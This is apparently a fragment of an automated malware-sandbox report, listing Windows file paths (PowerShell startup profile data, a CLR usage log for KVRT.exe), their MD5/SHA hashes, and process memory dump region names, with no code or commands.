SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a7cc007980e419d553568a106210549a
SHA1 c03099706b75071f36c3962fcc60a22f197711e0
SHA256 a5735921fc72189c8bf577f3911486cf031708dc8d6bc764fe3e593c0a053165
SHA512 b9aaf29403c467daef80a1ae87478afc33b78f4e1ca16189557011bb83cf9b3e29a0f85c69fa209c45201fb28baca47d31756eee07b79c6312c506e8370f7666

memory/4156-73-0x00007FFCE0910000-0x00007FFCE13D1000-memory.dmp

memory/4156-74-0x00007FFCE0910000-0x00007FFCE13D1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\KVRT.exe.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

memory/4156-78-0x00007FFCE0910000-0x00007FFCE13D1000-memory.dmp